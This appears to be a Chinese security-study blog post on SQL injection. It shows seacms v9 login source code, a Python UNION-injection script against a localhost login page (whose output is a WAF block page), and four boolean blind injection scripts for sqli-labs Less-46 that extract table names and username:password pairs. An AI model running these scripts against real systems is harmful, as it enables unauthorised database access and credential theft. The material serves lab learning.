seacmsv9注入管理员账号密码+orderby+limit

一、seacmsv9 SQL注入漏洞

查看源码

<?php
session_start();
require_once("include/common.php");
//前置跳转start
$cs=$_SERVER["REQUEST_URI"];
if($GLOBALS['cfg_mskin']==3 AND $GLOBALS['isMobile']==1){header("location:$cfg_mhost$cs");}
if($GLOBALS['cfg_mskin']==4 AND $GLOBALS['isMobile']==1){header("location:$cfg_mhost");}
//前置跳转end
require_once(sea_INC."/main.class.php");
if($cfg_user==0) 
{
	ShowMsg('系统已关闭会员功能!','index.php');
	exit();
}
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser); //构造session安全码 
$svali = $_SESSION['sea_ckstr'];
if($dopost=='login')
{
	if($cfg_feedback_ck=='1')
	{
		$validate = empty($validate) ? '' : strtolower(trim($validate));
		if($validate=='' || $validate != $svali)
		{
			ResetVdValue();
			ShowMsg('验证码不正确!','-1');
			exit();
		}
	}
	if($userid=='')
	{
		ShowMsg('请输入用户名!','-1');
		exit();
	}
	if($pwd=='')
	{
		ShowMsg('请输入密码!','-1');
		exit();
	}
 
$userid = RemoveXSS(stripslashes($userid));
$userid = addslashes(cn_substr($userid,60));
 
 
$pwd = substr(md5($pwd),5,20);
$row1=$dsql->GetOne("select * from sea_member where state=1 and username='$userid'");
if($row1['username']==$userid AND $row1['password']==$pwd)
		{
					//验证是否激活邮箱
					require_once('data/admin/smtp.php');
					if($smtpreg=='on'){
						$sql="SELECT acode FROM sea_member where username= '$userid'"; 
						$row = $dsql->GetOne($sql);
						if($row['acode']!='y'){
							showMsg("您的账户尚未激活,请激活后登陆!","index.php",0,100000);
							exit;
						}
					}
					$_SESSION['sea_user_id'] = $row1['id'];
					$uid=$row1['id'];
					$_SESSION['sea_user_name'] = $row1['username'];
					if($row1['vipendtime']<time()){
						$_SESSION['sea_user_group'] = 2;
						$dsql->ExecuteNoneQuery("update `sea_member` set gid=2 where id=$uid");
						$_SESSION['hashstr']=$hashstr;
						$dsql->ExecuteNoneQuery("UPDATE `sea_member` set logincount=logincount+1 where id='$uid'");
						if($row1['gid'] !=2){
							ShowMsg("您购买的会员组已到期,请注意续费!<br>成功登录!","member.php",0,30000);
						}else{
							ShowMsg("成功登录,正在转向会员中心!","member.php",0,3000);
						}
					}else{
						$_SESSION['sea_user_group'] = $row1['gid'];
						$_SESSION['hashstr']=$hashstr;
						$dsql->ExecuteNoneQuery("UPDATE `sea_member` set logincount=logincount+1 where id='$uid'");
						ShowMsg("成功登录,正在转向会员中心!","member.php",0,3000);
					}
					
					
					exit();
 
		}
		else
		{
			ShowMsg("密码错误或账户已被禁用","login.php",0,3000);
			exit();
		}
}
else
{
	$tempfile = sea_ROOT."/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/login.html";
	if($GLOBALS['cfg_mskin']!=0 AND $GLOBALS['cfg_mskin']!=3 AND $GLOBALS['cfg_mskin']!=4  AND $GLOBALS['isMobile']==1)
	{$tempfile = sea_ROOT."/templets/".$GLOBALS['cfg_df_mstyle']."/".$GLOBALS['cfg_df_html']."/login.html";}
	$content=loadFile($tempfile);
	$t=$content;
	$t=$mainClassObj->parseTopAndFoot($t);
	$t=$mainClassObj->parseHistory($t);
	$t=$mainClassObj->parseSelf($t);
	$t=$mainClassObj->parseGlobal($t);
	$t=$mainClassObj->parseAreaList($t);
	$t=$mainClassObj->parseNewsAreaList($t);
	$t=$mainClassObj->parseMenuList($t,"");
	$t=$mainClassObj->parseVideoList($t,-444);
	$t=$mainClassObj->parseNewsList($t,-444);
	$t=$mainClassObj->parseTopicList($t);
	$t=replaceCurrentTypeId($t,-444);
	$t=$mainClassObj->parseIf($t);
	if($cfg_feedback_ck=='1')
	{$t=str_replace("{login:viewLogin}",viewLogin(),$t);}
	else
	{$t=str_replace("{login:viewLogin}",viewLogin2(),$t);}
	$t=str_replace("{login:main}",viewMain(),$t);
	$t=str_replace("{seacms:runinfo}",getRunTime($t1),$t);
	$t=str_replace("{seacms:member}",front_member(),$t);
	echo $t;
	exit();
}
 
function viewMain(){
	$main="<div class='leaveNavInfo'><h3><span id='adminleaveword'></span>".$GLOBALS['cfg_webname']."会员登录</h3></div>";
	return $main;
}
 
function viewLogin(){
	$mystr=
"<ul>".
"<form id=\"f_login\"   action=\"/".$GLOBALS['cfg_cmspath']."login.php\" method=\"post\">".
"<input type=\"hidden\" value=\"login\" name=\"dopost\" />".
"<li><input type=\"input\" name=\"userid\" autofocus class=\"form-control\" placeholder=\"用户名\" /></li>".
"<li><input type=\"password\" name=\"pwd\" class=\"form-control\" placeholder=\"密码\" /></li>".
"<li><img id=\"vdimgck\" src=\"./include/vdimgck.php\" alt=\"看不清?点击更换\" align=\"absmiddle\" class=\"pull-right\" style='width:70px; height:32px;' onClick=\"this.src=this.src+'?'\"/><input name=\"validate\" type=\"text\" placeholder=\"验证码\" style='width:50%;text-transform:uppercase;' class=\"form-control\" /> </li>".
"<li><input type=\"submit\" value=\"登录\" class=\"btn btn-block btn-warning\"/></li>".
"<li class=\"text-center\"><a class=\"text-muted\" href=\"./reg.php\">注册用户</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a class=\"text-muted\" href=\"./member.php?mod=repsw\">找回密码</a></li>".
"</ul>";
	return $mystr;
}
 
function viewLogin2(){
	$mystr=
	"<ul>".
"<form id=\"f_login\"   action=\"/".$GLOBALS['cfg_cmspath']."login.php\" method=\"post\">".
"<input type=\"hidden\" value=\"login\" name=\"dopost\" />".
"<li><input type=\"input\" name=\"userid\" autofocus class=\"form-control\" placeholder=\"用户名\" /></li>".
"<li><input type=\"password\" name=\"pwd\" class=\"form-control\" placeholder=\"密码\" /></li>".
"<li><input type=\"submit\" value=\"登录\" class=\"btn btn-block btn-warning\"/></li>".
"<li class=\"text-center\"><a class=\"text-muted\" href=\"./reg.php\">注册用户</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a class=\"text-muted\" href=\"./member.php?mod=repsw\">找回密码</a></li>".
"</form>".
"</ul>";
	return $mystr;
}

经过源码分析,使用以下语句注入

$row1=$dsql->GetOne("select * from sea_member where state=1 and username='$userid'");

直接使用用户的ID去查询的,那么我们有机会从这里下手

import requests
 
def get_database_names(url):
    # 构造 SQL 注入查询
    payload = "' UNION SELECT schema_name FROM information_schema.schemata -- -"
    data = {
        "dopost": "login",
        "userid": payload,
        "pwd": "anything"
    }
 
    try:
        response = requests.post(url, data=data)
        return response.text
    except requests.exceptions.RequestException as e:
        print(f"请求失败: {e}")
        return None
 
def extract_database_names(response_text):
 
    database_names = []
    lines = response_text.split("\n")
    for line in lines:
        if "<td>" in line:
            parts = line.split("<td>")
            for part in parts[1:]:
                name = part.split("</td>")[0].strip()
                if name not in database_names and name:
                    database_names.append(name)
    return database_names
 
if __name__ == '__main__':
    # 目标 URL
    target_url = "http://localhost:8000/login.php"
    response = get_database_names(target_url)
    print(response)
    if response:
        databases = extract_database_names(response)
        print("已获取到以下数据库名称:")
        for db in databases:
            print(db)
    else:
        print("无法获取数据库名称。")

回显报错

<html> <body style="margin:0; padding:0"> <center><iframe width="100%" align="center" height="870" frameborder="0" scrolling="no" src="http://safe.webscan.360.cn/stopattack.html "></iframe></center> </body>

二、order by 布尔盲注

sqlilabs靶场第46关,参数sort传入id,如下

参数sort传入username,如下

看源码可知,sort前面是order by,通过sort传入的字段排序

于是用sort=if(表达式,id,username)的方式注入,通过BeautifulSoup爬取表格中username下一格的

值是否等于Dumb来判断表达式的真假,并使用二分查找加快注入速度,从而实现boolen(布尔)

注入,具体代码如下

import requests
from bs4 import BeautifulSoup

def get_username(resp):
    soup = BeautifulSoup(resp,'html.parser')
    username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
    return username

def inject_database_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)

def inject_table_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \
                information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)

def inject_column_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \
                information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)

def inject_data_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \
                from users),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)

if __name__ == '__main__':
    # inject_database_boolen()
    # inject_table_boolen()
    # inject_column_boolen()
    inject_data_boolen()

注入结果如下:

三、过滤information_schema解决方案(mysql)

information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。在information_schema中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件,也就是information_schema说一个虚拟数据库,物理上并不存在。

获取所有数据库列表

SELECT schema_name FROM information_schema.schemata;

获取表名

SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_name';

获取字段名

SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'database_name' AND table_name = 'table_name';
相关推荐
不爱学习的YY酱7 分钟前
使用ZFile打造属于自己的私有云系统结合内网穿透实现安全远程访问
安全
网硕互联的小客服42 分钟前
服务器硬件老化导致性能下降的排查与优化
linux·运维·服务器·安全·centos
尘佑不尘2 小时前
【无标题】oscp备考,oscp系列——Tr0ll1靶场,两种提权方式,ftp匿名登录,ssh爆破,ubuntu内核提权,计划任务
web安全·ubuntu·渗透测试·ssh·vulnhub
网安CILLE3 小时前
自学网络安全(黑客技术)2025年 —90天学习计划
linux·网络·安全·web安全·网络安全
z202305083 小时前
SOC-ATF 安全启动BL1流程分析(1)
安全
今晚打老虎z3 小时前
双重因子认证:守护数字安全的“双保险”
安全
黑客KKKing4 小时前
网络安全词汇
网络·算法·安全·web安全
燕雀安知鸿鹄之志哉.4 小时前
jdk21下载、安装(Windows、Linux、macOS)
网络·安全·web安全·网络安全·系统安全
m0_742566606 小时前
渗透第二次作业
安全